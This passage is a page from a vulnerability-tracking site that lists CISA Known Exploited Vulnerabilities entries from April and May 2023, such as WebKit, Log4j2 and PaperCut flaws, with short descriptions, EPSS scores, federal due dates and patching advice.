https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Out-of-Bounds Read Vulnerability https://kevwire.com/record/CVE-2023-28204 Apple Multiple Products WebKit Out-of-Bounds Read Vulnerability (May 22, 2023). Apple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit contain an out-of-bounds read vulnerability that may disclose sensitive information when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 14.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28204&date=2026-10-25). Sources: CISA KEV entry CVE-2023-28204: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28204&date=2026-10-25 CISA added this entry on 2023-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 22, 2023; federal due date Jun 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Use-After-Free Vulnerability https://kevwire.com/record/CVE-2023-32373 Apple Multiple Products WebKit Use-After-Free Vulnerability (May 22, 2023). Apple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 12.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32373&date=2026-10-25). Sources: CISA KEV entry CVE-2023-32373: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32373&date=2026-10-25 CISA added this entry on 2023-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 22, 2023; federal due date Jun 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2004-1464 Cisco IOS Denial-of-Service Vulnerability (May 19, 2023). Cisco IOS contains an unspecified vulnerability that may block further telnet, reverse telnet, Remote Shell (RSH), Secure Shell (SSH), and in some cases, Hypertext Transport Protocol (HTTP) access to the Cisco device. EPSS 4.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2004-1464&date=2026-10-25). Sources: CISA KEV entry CVE-2004-1464: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2004-1464&date=2026-10-25 CISA added this entry on 2023-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 19, 2023; federal due date Jun 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS, IOS XR, and IOS XE IKEv1 Information Disclosure Vulnerability https://kevwire.com/record/CVE-2016-6415 Cisco IOS, IOS XR, and IOS XE IKEv1 Information Disclosure Vulnerability (May 19, 2023). Cisco IOS, IOS XR, and IOS XE contain insufficient condition checks in the part of the code that handles Internet Key Exchange version 1 (IKEv1) security negotiation requests. contains an information disclosure vulnerability in the Internet Key Exchange version 1 (IKEv1) that could allow an attacker to retrieve memory contents. Successful exploitation could allow the attacker to retrieve memory contents, which can lead to information disclosure. EPSS 87.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-6415&date=2026-10-25). Sources: CISA KEV entry CVE-2016-6415: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-6415&date=2026-10-25 CISA added this entry on 2023-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 19, 2023; federal due date Jun 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Insertion of Sensitive Information Into Log File Vulnerability https://kevwire.com/record/CVE-2023-21492 Samsung Mobile Devices Insertion of Sensitive Information Into Log File Vulnerability (May 19, 2023). Samsung mobile devices running Android 11, 12, and 13 contain an insertion of sensitive information into log file vulnerability that allows a privileged, local attacker to conduct an address space layout randomization (ASLR) bypass. EPSS 2.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21492&date=2026-10-25). Sources: CISA KEV entry CVE-2023-21492: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21492&date=2026-10-25 CISA added this entry on 2023-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 19, 2023; federal due date Jun 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ruckus Wireless Multiple Products: Multiple Ruckus Wireless Products CSRF and RCE Vulnerability https://kevwire.com/record/CVE-2023-25717 Ruckus Wireless Multiple Products: Multiple Ruckus Wireless Products CSRF and RCE Vulnerability (May 12, 2023). Ruckus Wireless Access Point (AP) software contains an unspecified vulnerability in the web services component. If the web services component is enabled on the AP, an attacker can perform cross-site request forgery (CSRF) or remote code execution (RCE). This vulnerability impacts Ruckus ZoneDirector, SmartZone, and Solo APs. EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-25717&date=2026-10-25). Sources: CISA KEV entry CVE-2023-25717: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-25717&date=2026-10-25 CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or disconnect product if it is end-of-life. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Red Hat Polkit Incorrect Authorization Vulnerability https://kevwire.com/record/CVE-2021-3560 Red Hat Polkit Incorrect Authorization Vulnerability (May 12, 2023). Red Hat Polkit contains an incorrect authorization vulnerability through the bypassing of credential checks for D-Bus requests, allowing for privilege escalation. EPSS 23.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-3560&date=2026-10-25). Sources: CISA KEV entry CVE-2021-3560: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-3560&date=2026-10-25 CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Race Condition Vulnerability https://kevwire.com/record/CVE-2014-0196 Linux Kernel Race Condition Vulnerability (May 12, 2023). Linux Kernel contains a race condition vulnerability within the n_tty_write function that allows local users to cause a denial-of-service (DoS) or gain privileges via read and write operations with long strings. EPSS 20.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0196&date=2026-10-25). Sources: CISA KEV entry CVE-2014-0196: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0196&date=2026-10-25 CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2010-3904 Linux Kernel Improper Input Validation Vulnerability (May 12, 2023). Linux Kernel contains an improper input validation vulnerability in the Reliable Datagram Sockets (RDS) protocol implementation that allows local users to gain privileges via crafted use of the sendmsg and recvmsg system calls. EPSS 15.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-3904&date=2026-10-25). Sources: CISA KEV entry CVE-2010-3904: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-3904&date=2026-10-25 CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Jenkins User Interface (UI) Information Disclosure Vulnerability https://kevwire.com/record/CVE-2015-5317 Jenkins User Interface (UI) Information Disclosure Vulnerability (May 12, 2023). Jenkins User Interface (UI) contains an information disclosure vulnerability that allows users to see the names of jobs and builds otherwise inaccessible to them on the "Fingerprints" pages. EPSS 23.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-5317&date=2026-10-25). Sources: CISA KEV entry CVE-2015-5317: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-5317&date=2026-10-25 CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Java SE and JRockit Unspecified Vulnerability https://kevwire.com/record/CVE-2016-3427 Oracle Java SE and JRockit Unspecified Vulnerability (May 12, 2023). Oracle Java SE and JRockit contains an unspecified vulnerability that allows remote attackers to affect confidentiality, integrity, and availability via vectors related to Java Management Extensions (JMX). This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. EPSS 92.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3427&date=2026-10-25). Sources: CISA KEV entry CVE-2016-3427: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3427&date=2026-10-25 CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache Tomcat Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2016-8735 Apache Tomcat Remote Code Execution Vulnerability (May 12, 2023). Apache Tomcat contains an unspecified vulnerability that allows for remote code execution if JmxRemoteLifecycleListener is used and an attacker can reach Java Management Extension (JMX) ports. This CVE exists because this listener wasn't updated for consistency with the Oracle patched issues for CVE-2016-3427 which affected credential types. EPSS 90.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-8735&date=2026-10-25). Sources: CISA KEV entry CVE-2016-8735: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-8735&date=2026-10-25 CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Win32K Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-29336 Microsoft Win32K Privilege Escalation Vulnerability (May 9, 2023). Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation up to SYSTEM privileges. EPSS 41.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29336&date=2026-10-25). Sources: CISA KEV entry CVE-2023-29336: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29336&date=2026-10-25 CISA added this entry on 2023-05-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 9, 2023; federal due date May 30, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TP-Link Archer AX-21 Command Injection Vulnerability https://kevwire.com/record/CVE-2023-1389 TP-Link Archer AX-21 Command Injection Vulnerability (May 1, 2023). TP-Link Archer AX-21 contains a command injection vulnerability that allows for remote code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-1389&date=2026-10-25). Sources: CISA KEV entry CVE-2023-1389: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-1389&date=2026-10-25 CISA added this entry on 2023-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 1, 2023; federal due date May 22, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache Log4j2 Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2021-45046 Apache Log4j2 Deserialization of Untrusted Data Vulnerability (May 1, 2023). Apache Log4j2 contains a deserialization of untrusted data vulnerability due to the incomplete fix of CVE-2021-44228, where the Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-45046&date=2026-10-25). Sources: CISA KEV entry CVE-2021-45046: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-45046&date=2026-10-25 CISA added this entry on 2023-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 1, 2023; federal due date May 22, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle WebLogic Server Unspecified Vulnerability https://kevwire.com/record/CVE-2023-21839 Oracle WebLogic Server Unspecified Vulnerability (May 1, 2023). Oracle WebLogic Server contains an unspecified vulnerability that allows an unauthenticated attacker with network access via T3, IIOP, to compromise Oracle WebLogic Server. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21839&date=2026-10-25). Sources: CISA KEV entry CVE-2023-21839: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21839&date=2026-10-25 CISA added this entry on 2023-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 1, 2023; federal due date May 22, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### MinIO Information Disclosure Vulnerability https://kevwire.com/record/CVE-2023-28432 MinIO Information Disclosure Vulnerability (Apr 21, 2023). MinIO contains a vulnerability in a cluster deployment where MinIO returns all environment variables, which allows for information disclosure. EPSS 84.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28432&date=2026-10-25). Sources: CISA KEV entry CVE-2023-28432: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28432&date=2026-10-25 CISA added this entry on 2023-04-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 21, 2023; federal due date May 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PaperCut MF/NG Improper Access Control Vulnerability https://kevwire.com/record/CVE-2023-27350 PaperCut MF/NG Improper Access Control Vulnerability (Apr 21, 2023). PaperCut MF/NG contains an improper access control vulnerability within the SetupCompleted class that allows authentication bypass and code execution in the context of system. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-27350&date=2026-10-25). Sources: CISA KEV entry CVE-2023-27350: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-27350&date=2026-10-25 CISA added this entry on 2023-04-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 21, 2023; federal due date May 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chrome Skia Integer Overflow Vulnerability https://kevwire.com/record/CVE-2023-2136 Google Chrome Skia Integer Overflow Vulnerability (Apr 21, 2023). Google Chromium Skia contains an integer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability affects Google Chrome and ChromeOS, Android, Flutter, and possibly other products. EPSS 5.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-2136&date=2026-10-25). Sources: CISA KEV entry CVE-2023-2136: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-2136&date=2026-10-25 CISA added this entry on 2023-04-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 21, 2023; federal due date May 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-6742 Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Apr 19, 2023). The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload. EPSS 21.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6742&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6742: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6742&date=2026-10-25 CISA added this entry on 2023-04-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 19, 2023; federal due date May 10, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple macOS Use-After-Free Vulnerability https://kevwire.com/record/CVE-2019-8526 Apple macOS Use-After-Free Vulnerability (Apr 17, 2023). Apple macOS contains a use-after-free vulnerability that could allow for privilege escalation. EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-8526&date=2026-10-25). Sources: CISA KEV entry CVE-2019-8526: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-8526&date=2026-10-25 CISA added this entry on 2023-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 17, 2023; federal due date May 8, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2023-2033 Google Chromium V8 Type Confusion Vulnerability (Apr 17, 2023). Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 40.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-2033&date=2026-10-25). Sources: CISA KEV entry CVE-2023-2033: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-2033&date=2026-10-25 CISA added this entry on 2023-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 17, 2023; federal due date May 8, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Framework Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-20963 Android Framework Privilege Escalation Vulnerability (Apr 13, 2023). Android Framework contains an unspecified vulnerability that allows for privilege escalation after updating an app to a higher Target SDK with no additional execution privileges needed. EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20963&date=2026-10-25). Sources: CISA KEV entry CVE-2023-20963: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20963&date=2026-10-25 CISA added this entry on 2023-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2023; federal due date May 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Novi Survey Insecure Deserialization Vulnerability https://kevwire.com/record/CVE-2023-29492 Novi Survey Insecure Deserialization Vulnerability (Apr 13, 2023). Novi Survey contains an insecure deserialization vulnerability that allows remote attackers to execute code on the server in the context of the service account. EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29492&date=2026-10-25). Sources: CISA KEV entry CVE-2023-29492: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29492&date=2026-10-25 CISA added this entry on 2023-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2023; federal due date May 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-28252 Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability (Apr 11, 2023). Microsoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation. EPSS 48.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28252&date=2026-10-25). Sources: CISA KEV entry CVE-2023-28252: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28252&date=2026-10-25 CISA added this entry on 2023-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 11, 2023; federal due date May 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Use-After-Free Vulnerability https://kevwire.com/record/CVE-2023-28205 Apple Multiple Products WebKit Use-After-Free Vulnerability (Apr 10, 2023). Apple iOS, iPadOS, macOS, and Safari WebKit contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 27.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28205&date=2026-10-25). Sources: CISA KEV entry CVE-2023-28205: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28205&date=2026-10-25 CISA added this entry on 2023-04-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 10, 2023; federal due date May 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS, iPadOS, and macOS 